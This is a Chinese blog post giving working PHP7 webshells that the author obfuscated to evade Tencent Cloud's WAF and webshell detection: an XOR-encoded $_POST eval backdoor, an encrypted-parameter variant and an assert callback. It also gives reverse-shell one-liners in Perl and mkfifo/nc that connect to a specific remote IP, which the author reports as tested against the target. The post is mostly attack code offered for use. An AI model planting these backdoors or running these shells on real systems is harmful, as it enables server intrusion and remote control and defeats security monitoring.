PHP7可用的webshell

腾讯云WAF绕过

webshell检测绕过

目标机器环境:

Apache:2.4.29
PHP:7.4.15

PHP7和PHP5在安全方面有一些差异:

  • preg_replace()不再支持/e修饰符
  • create_function()被废弃
  • mysql_*系列全员移除
  • unserialize()增加一个可选白名单参数
  • assert()默认不再可以执行代码

这些差异导致了很多基于assert的传统木马失效,再加上腾讯云本身也有webshell检测,所以我们需要找到一个既能在PHP7环境下执行命令又能绕过腾讯云检测的方法。

//informations.php
<?php
$a = "~+d()"^"!{+{}";
$b = ${$a}[a];
eval("\n".$b);
?>

这里$a进行了一次异或操作,最终得到的字符为_POST , PHP7中动态调用的格式为${$变量},所以$b=_POST[a]
成功执行:

基于把接收参数方式加密的思路,我们有了一个更复杂一点的版本:

?php
echo '<meta charset="utf-8">';
  $str='_POST';
  function jiami($str,$key){
   $key=md5($key);
   $k=md5(rand(0,100));//相当于动态密钥
   $k=substr($k,0,3);
   $tmp="";
   for($i=0;$i<strlen($str);$i++){
    $tmp.=substr($str,$i,1) ^ substr($key,$i,1);
   }
   return base64_encode($k.$tmp);
  }
  function jiemi($str,$key){
   $len=strlen($str);
   $key=md5($key);
   $str=base64_decode($str);
   $str=substr($str,3,$len-3);
   $tmp="";
   for($i=0;$i<strlen($str);$i++){
    $tmp.=substr($str,$i,1) ^ substr($key,$i,1);
   }
   return $tmp;
  }
  $key='cc';
  $jh=jiami($str, $key);
  echo '加密前:'.$str.'<br>';
  echo '加密后:'.$jh.'<br>';
  echo '解密后:'.jiemi($jh, $key).'<br>';
  $a = jiemi($jh,$key);
  $b = ${$a}[xxx];
  eval($b);

其实利用一些回调函数也是有可能绕过waf检测的,但是因为在PHP7中assert默认不能执行命令,而eval又不能作为回调函数的参数使用,所以会有一定的局限性。
不过还是有一些函数可以执行,比如
call_user_func_array('assert', array($_REQUEST['pass']));

反弹shell的绕过

目标机器上nc 不支持-e,而且使用bash直接反弹shell会报错,所以考虑使用脚本语言创建连接。
经过测试,可以成功连接而且绕过腾讯云检测的payload为:

perl -e 'use Socket;$i="120.xx.xx.xx";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
rm /tmp/f ; mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 120.55.84.155 9999 >/tmp/f

webshell执行命令

这里使用perl建立一个socket连接,需要注意的是在使用POST传参的时候要把&改为%26,同时把双引号转移之后再执行

参考链接:
https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html#0x07
https://www.freebuf.com/articles/web/197013.html

posted @ 2021-02-26 11:48  pr1s0n  阅读(204)  评论(0)    收藏  举报